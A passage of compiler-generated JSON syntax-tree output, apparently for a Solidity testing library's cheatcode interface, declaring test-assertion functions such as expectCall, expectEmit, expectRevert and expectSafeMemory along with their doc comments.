gas."},"functionSelector":"e13a1834","implemented":false,"kind":"function","modifiers":[],"name":"expectCallMinGas","nameLocation":"81522:16:13","parameters":{"id":15526,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15517,"mutability":"mutable","name":"callee","nameLocation":"81547:6:13","nodeType":"VariableDeclaration","scope":15528,"src":"81539:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15516,"name":"address","nodeType":"ElementaryTypeName","src":"81539:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15519,"mutability":"mutable","name":"msgValue","nameLocation":"81563:8:13","nodeType":"VariableDeclaration","scope":15528,"src":"81555:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15518,"name":"uint256","nodeType":"ElementaryTypeName","src":"81555:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15521,"mutability":"mutable","name":"minGas","nameLocation":"81580:6:13","nodeType":"VariableDeclaration","scope":15528,"src":"81573:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15520,"name":"uint64","nodeType":"ElementaryTypeName","src":"81573:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15523,"mutability":"mutable","name":"data","nameLocation":"81603:4:13","nodeType":"VariableDeclaration","scope":15528,"src":"81588:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15522,"name":"bytes","nodeType":"ElementaryTypeName","src":"81588:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15525,"mutability":"mutable","name":"count","nameLocation":"81616:5:13","nodeType":"VariableDeclaration","scope":15528,"src":"81609:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15524,"name":"uint64","nodeType":"ElementaryTypeName","src":"81609:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"81538:84:13"},"returnParameters":{"id":15527,"nodeType":"ParameterList","parameters":[],"src":"81639:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15536,"nodeType":"FunctionDefinition","src":"81772:66:13","nodes":[],"documentation":{"id":15529,"nodeType":"StructuredDocumentation","src":"81646:121:13","text":"Expects a call to an address with the specified calldata.\n Calldata can either be a strict or a partial match."},"functionSelector":"bd6af434","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"81781:10:13","parameters":{"id":15534,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15531,"mutability":"mutable","name":"callee","nameLocation":"81800:6:13","nodeType":"VariableDeclaration","scope":15536,"src":"81792:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15530,"name":"address","nodeType":"ElementaryTypeName","src":"81792:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15533,"mutability":"mutable","name":"data","nameLocation":"81823:4:13","nodeType":"VariableDeclaration","scope":15536,"src":"81808:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15532,"name":"bytes","nodeType":"ElementaryTypeName","src":"81808:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"81791:37:13"},"returnParameters":{"id":15535,"nodeType":"ParameterList","parameters":[],"src":"81837:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15546,"nodeType":"FunctionDefinition","src":"81925:80:13","nodes":[],"documentation":{"id":15537,"nodeType":"StructuredDocumentation","src":"81844:76:13","text":"Expects given number of calls to an address with the specified calldata."},"functionSelector":"c1adbbff","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"81934:10:13","parameters":{"id":15544,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15539,"mutability":"mutable","name":"callee","nameLocation":"81953:6:13","nodeType":"VariableDeclaration","scope":15546,"src":"81945:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15538,"name":"address","nodeType":"ElementaryTypeName","src":"81945:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15541,"mutability":"mutable","name":"data","nameLocation":"81976:4:13","nodeType":"VariableDeclaration","scope":15546,"src":"81961:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15540,"name":"bytes","nodeType":"ElementaryTypeName","src":"81961:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15543,"mutability":"mutable","name":"count","nameLocation":"81989:5:13","nodeType":"VariableDeclaration","scope":15546,"src":"81982:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15542,"name":"uint64","nodeType":"ElementaryTypeName","src":"81982:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"81944:51:13"},"returnParameters":{"id":15545,"nodeType":"ParameterList","parameters":[],"src":"82004:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15556,"nodeType":"FunctionDefinition","src":"82093:84:13","nodes":[],"documentation":{"id":15547,"nodeType":"StructuredDocumentation","src":"82011:77:13","text":"Expects a call to an address with the specified `msg.value` and calldata."},"functionSelector":"f30c7ba3","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82102:10:13","parameters":{"id":15554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15549,"mutability":"mutable","name":"callee","nameLocation":"82121:6:13","nodeType":"VariableDeclaration","scope":15556,"src":"82113:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15548,"name":"address","nodeType":"ElementaryTypeName","src":"82113:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15551,"mutability":"mutable","name":"msgValue","nameLocation":"82137:8:13","nodeType":"VariableDeclaration","scope":15556,"src":"82129:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15550,"name":"uint256","nodeType":"ElementaryTypeName","src":"82129:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15553,"mutability":"mutable","name":"data","nameLocation":"82162:4:13","nodeType":"VariableDeclaration","scope":15556,"src":"82147:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15552,"name":"bytes","nodeType":"ElementaryTypeName","src":"82147:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"82112:55:13"},"returnParameters":{"id":15555,"nodeType":"ParameterList","parameters":[],"src":"82176:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15568,"nodeType":"FunctionDefinition","src":"82280:98:13","nodes":[],"documentation":{"id":15557,"nodeType":"StructuredDocumentation","src":"82183:92:13","text":"Expects given number of calls to an address with the specified `msg.value` and calldata."},"functionSelector":"a2b1a1ae","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82289:10:13","parameters":{"id":15566,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15559,"mutability":"mutable","name":"callee","nameLocation":"82308:6:13","nodeType":"VariableDeclaration","scope":15568,"src":"82300:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15558,"name":"address","nodeType":"ElementaryTypeName","src":"82300:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15561,"mutability":"mutable","name":"msgValue","nameLocation":"82324:8:13","nodeType":"VariableDeclaration","scope":15568,"src":"82316:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15560,"name":"uint256","nodeType":"ElementaryTypeName","src":"82316:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15563,"mutability":"mutable","name":"data","nameLocation":"82349:4:13","nodeType":"VariableDeclaration","scope":15568,"src":"82334:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15562,"name":"bytes","nodeType":"ElementaryTypeName","src":"82334:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15565,"mutability":"mutable","name":"count","nameLocation":"82362:5:13","nodeType":"VariableDeclaration","scope":15568,"src":"82355:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15564,"name":"uint64","nodeType":"ElementaryTypeName","src":"82355:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"82299:69:13"},"returnParameters":{"id":15567,"nodeType":"ParameterList","parameters":[],"src":"82377:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15580,"nodeType":"FunctionDefinition","src":"82471:96:13","nodes":[],"documentation":{"id":15569,"nodeType":"StructuredDocumentation","src":"82384:82:13","text":"Expect a call to an address with the specified `msg.value`, gas, and calldata."},"functionSelector":"23361207","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82480:10:13","parameters":{"id":15578,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15571,"mutability":"mutable","name":"callee","nameLocation":"82499:6:13","nodeType":"VariableDeclaration","scope":15580,"src":"82491:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15570,"name":"address","nodeType":"ElementaryTypeName","src":"82491:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15573,"mutability":"mutable","name":"msgValue","nameLocation":"82515:8:13","nodeType":"VariableDeclaration","scope":15580,"src":"82507:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15572,"name":"uint256","nodeType":"ElementaryTypeName","src":"82507:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15575,"mutability":"mutable","name":"gas","nameLocation":"82532:3:13","nodeType":"VariableDeclaration","scope":15580,"src":"82525:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15574,"name":"uint64","nodeType":"ElementaryTypeName","src":"82525:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15577,"mutability":"mutable","name":"data","nameLocation":"82552:4:13","nodeType":"VariableDeclaration","scope":15580,"src":"82537:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15576,"name":"bytes","nodeType":"ElementaryTypeName","src":"82537:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"82490:67:13"},"returnParameters":{"id":15579,"nodeType":"ParameterList","parameters":[],"src":"82566:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15594,"nodeType":"FunctionDefinition","src":"82676:110:13","nodes":[],"documentation":{"id":15581,"nodeType":"StructuredDocumentation","src":"82573:98:13","text":"Expects given number of calls to an address with the specified `msg.value`, gas, and calldata."},"functionSelector":"65b7b7cc","implemented":false,"kind":"function","modifiers":[],"name":"expectCall","nameLocation":"82685:10:13","parameters":{"id":15592,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15583,"mutability":"mutable","name":"callee","nameLocation":"82704:6:13","nodeType":"VariableDeclaration","scope":15594,"src":"82696:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15582,"name":"address","nodeType":"ElementaryTypeName","src":"82696:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15585,"mutability":"mutable","name":"msgValue","nameLocation":"82720:8:13","nodeType":"VariableDeclaration","scope":15594,"src":"82712:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15584,"name":"uint256","nodeType":"ElementaryTypeName","src":"82712:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":15587,"mutability":"mutable","name":"gas","nameLocation":"82737:3:13","nodeType":"VariableDeclaration","scope":15594,"src":"82730:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15586,"name":"uint64","nodeType":"ElementaryTypeName","src":"82730:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15589,"mutability":"mutable","name":"data","nameLocation":"82757:4:13","nodeType":"VariableDeclaration","scope":15594,"src":"82742:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15588,"name":"bytes","nodeType":"ElementaryTypeName","src":"82742:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":15591,"mutability":"mutable","name":"count","nameLocation":"82770:5:13","nodeType":"VariableDeclaration","scope":15594,"src":"82763:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15590,"name":"uint64","nodeType":"ElementaryTypeName","src":"82763:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"82695:81:13"},"returnParameters":{"id":15593,"nodeType":"ParameterList","parameters":[],"src":"82785:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15606,"nodeType":"FunctionDefinition","src":"83125:99:13","nodes":[],"documentation":{"id":15595,"nodeType":"StructuredDocumentation","src":"82792:328:13","text":"Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData.).\n Call this function, then emit an event, then call a function. Internally after the call, we check if\n logs were emitted in the expected order with the expected topics and data (as specified by the booleans)."},"functionSelector":"491cc7c2","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83134:10:13","parameters":{"id":15604,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15597,"mutability":"mutable","name":"checkTopic1","nameLocation":"83150:11:13","nodeType":"VariableDeclaration","scope":15606,"src":"83145:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15596,"name":"bool","nodeType":"ElementaryTypeName","src":"83145:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15599,"mutability":"mutable","name":"checkTopic2","nameLocation":"83168:11:13","nodeType":"VariableDeclaration","scope":15606,"src":"83163:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15598,"name":"bool","nodeType":"ElementaryTypeName","src":"83163:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15601,"mutability":"mutable","name":"checkTopic3","nameLocation":"83186:11:13","nodeType":"VariableDeclaration","scope":15606,"src":"83181:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15600,"name":"bool","nodeType":"ElementaryTypeName","src":"83181:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15603,"mutability":"mutable","name":"checkData","nameLocation":"83204:9:13","nodeType":"VariableDeclaration","scope":15606,"src":"83199:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15602,"name":"bool","nodeType":"ElementaryTypeName","src":"83199:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"83144:70:13"},"returnParameters":{"id":15605,"nodeType":"ParameterList","parameters":[],"src":"83223:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15620,"nodeType":"FunctionDefinition","src":"83327:124:13","nodes":[],"documentation":{"id":15607,"nodeType":"StructuredDocumentation","src":"83230:92:13","text":"Same as the previous method, but also checks supplied address against emitting contract."},"functionSelector":"81bad6f3","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83336:10:13","parameters":{"id":15618,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15609,"mutability":"mutable","name":"checkTopic1","nameLocation":"83352:11:13","nodeType":"VariableDeclaration","scope":15620,"src":"83347:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15608,"name":"bool","nodeType":"ElementaryTypeName","src":"83347:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15611,"mutability":"mutable","name":"checkTopic2","nameLocation":"83370:11:13","nodeType":"VariableDeclaration","scope":15620,"src":"83365:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15610,"name":"bool","nodeType":"ElementaryTypeName","src":"83365:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15613,"mutability":"mutable","name":"checkTopic3","nameLocation":"83388:11:13","nodeType":"VariableDeclaration","scope":15620,"src":"83383:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15612,"name":"bool","nodeType":"ElementaryTypeName","src":"83383:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15615,"mutability":"mutable","name":"checkData","nameLocation":"83406:9:13","nodeType":"VariableDeclaration","scope":15620,"src":"83401:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15614,"name":"bool","nodeType":"ElementaryTypeName","src":"83401:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":15617,"mutability":"mutable","name":"emitter","nameLocation":"83425:7:13","nodeType":"VariableDeclaration","scope":15620,"src":"83417:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15616,"name":"address","nodeType":"ElementaryTypeName","src":"83417:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"83346:87:13"},"returnParameters":{"id":15619,"nodeType":"ParameterList","parameters":[],"src":"83450:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15624,"nodeType":"FunctionDefinition","src":"83721:31:13","nodes":[],"documentation":{"id":15621,"nodeType":"StructuredDocumentation","src":"83457:259:13","text":"Prepare an expected log with all topic and data checks enabled.\n Call this function, then emit an event, then call a function. Internally after the call, we check if\n logs were emitted in the expected order with the expected topics and data."},"functionSelector":"440ed10d","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83730:10:13","parameters":{"id":15622,"nodeType":"ParameterList","parameters":[],"src":"83740:2:13"},"returnParameters":{"id":15623,"nodeType":"ParameterList","parameters":[],"src":"83751:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15630,"nodeType":"FunctionDefinition","src":"83855:46:13","nodes":[],"documentation":{"id":15625,"nodeType":"StructuredDocumentation","src":"83758:92:13","text":"Same as the previous method, but also checks supplied address against emitting contract."},"functionSelector":"86b9620d","implemented":false,"kind":"function","modifiers":[],"name":"expectEmit","nameLocation":"83864:10:13","parameters":{"id":15628,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15627,"mutability":"mutable","name":"emitter","nameLocation":"83883:7:13","nodeType":"VariableDeclaration","scope":15630,"src":"83875:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15626,"name":"address","nodeType":"ElementaryTypeName","src":"83875:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"83874:17:13"},"returnParameters":{"id":15629,"nodeType":"ParameterList","parameters":[],"src":"83900:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15634,"nodeType":"FunctionDefinition","src":"83967:33:13","nodes":[],"documentation":{"id":15631,"nodeType":"StructuredDocumentation","src":"83907:55:13","text":"Expects an error on next call with any revert data."},"functionSelector":"f4844814","implemented":false,"kind":"function","modifiers":[],"name":"expectRevert","nameLocation":"83976:12:13","parameters":{"id":15632,"nodeType":"ParameterList","parameters":[],"src":"83988:2:13"},"returnParameters":{"id":15633,"nodeType":"ParameterList","parameters":[],"src":"83999:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15640,"nodeType":"FunctionDefinition","src":"84078:50:13","nodes":[],"documentation":{"id":15635,"nodeType":"StructuredDocumentation","src":"84006:67:13","text":"Expects an error on next call that starts with the revert data."},"functionSelector":"c31eb0e0","implemented":false,"kind":"function","modifiers":[],"name":"expectRevert","nameLocation":"84087:12:13","parameters":{"id":15638,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15637,"mutability":"mutable","name":"revertData","nameLocation":"84107:10:13","nodeType":"VariableDeclaration","scope":15640,"src":"84100:17:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":15636,"name":"bytes4","nodeType":"ElementaryTypeName","src":"84100:6:13","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"84099:19:13"},"returnParameters":{"id":15639,"nodeType":"ParameterList","parameters":[],"src":"84127:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15646,"nodeType":"FunctionDefinition","src":"84210:58:13","nodes":[],"documentation":{"id":15641,"nodeType":"StructuredDocumentation","src":"84134:71:13","text":"Expects an error on next call that exactly matches the revert data."},"functionSelector":"f28dceb3","implemented":false,"kind":"function","modifiers":[],"name":"expectRevert","nameLocation":"84219:12:13","parameters":{"id":15644,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15643,"mutability":"mutable","name":"revertData","nameLocation":"84247:10:13","nodeType":"VariableDeclaration","scope":15646,"src":"84232:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15642,"name":"bytes","nodeType":"ElementaryTypeName","src":"84232:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"84231:27:13"},"returnParameters":{"id":15645,"nodeType":"ParameterList","parameters":[],"src":"84267:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15654,"nodeType":"FunctionDefinition","src":"84497:59:13","nodes":[],"documentation":{"id":15647,"nodeType":"StructuredDocumentation","src":"84274:218:13","text":"Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the current subcontext. If any other\n memory is written to, the test will fail. Can be called multiple times to add more ranges to the set."},"functionSelector":"6d016688","implemented":false,"kind":"function","modifiers":[],"name":"expectSafeMemory","nameLocation":"84506:16:13","parameters":{"id":15652,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15649,"mutability":"mutable","name":"min","nameLocation":"84530:3:13","nodeType":"VariableDeclaration","scope":15654,"src":"84523:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15648,"name":"uint64","nodeType":"ElementaryTypeName","src":"84523:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15651,"mutability":"mutable","name":"max","nameLocation":"84542:3:13","nodeType":"VariableDeclaration","scope":15654,"src":"84535:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15650,"name":"uint64","nodeType":"ElementaryTypeName","src":"84535:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"84522:24:13"},"returnParameters":{"id":15653,"nodeType":"ParameterList","parameters":[],"src":"84555:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15662,"nodeType":"FunctionDefinition","src":"84798:63:13","nodes":[],"documentation":{"id":15655,"nodeType":"StructuredDocumentation","src":"84562:231:13","text":"Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the next created subcontext.\n If any other memory is written to, the test will fail. Can be called multiple times to add more ranges\n to the set."},"functionSelector":"05838bf4","implemented":false,"kind":"function","modifiers":[],"name":"expectSafeMemoryCall","nameLocation":"84807:20:13","parameters":{"id":15660,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15657,"mutability":"mutable","name":"min","nameLocation":"84835:3:13","nodeType":"VariableDeclaration","scope":15662,"src":"84828:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15656,"name":"uint64","nodeType":"ElementaryTypeName","src":"84828:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":15659,"mutability":"mutable","name":"max","nameLocation":"84847:3:13","nodeType":"VariableDeclaration","scope":15662,"src":"84840:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15658,"name":"uint64","nodeType":"ElementaryTypeName","src":"84840:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"84827:24:13"},"returnParameters":{"id":15661,"nodeType":"ParameterList","parameters":[],"src":"84860:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15668,"nodeType":"FunctionDefinition","src":"84939:38:13","nodes":[],"documentation":{"id":15663,"nodeType":"StructuredDocumentation","src":"84867:67:13","text":"Marks a test as skipped. Must be called at the top of the test."},"functionSelector":"dd82d13e","implemented":false,"kind":"function","modifiers":[],"name":"skip","nameLocation":"84948:4:13","parameters":{"id":15666,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15665,"mutability":"mutable","name":"skipTest","nameLocation":"84958:8:13","nodeType":"VariableDeclaration","scope":15668,"src":"84953:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":15664,"name":"bool","nodeType":"ElementaryTypeName","src":"84953:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"84952:15:13"},"returnParameters":{"id":15667,"nodeType":"ParameterList","parameters":[],"src":"84976:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15672,"nodeType":"FunctionDefinition","src":"85052:41:13","nodes":[],"documentation":{"id":15669,"nodeType":"StructuredDocumentation","src":"84983:64:13","text":"Stops all safe memory expectation in the current 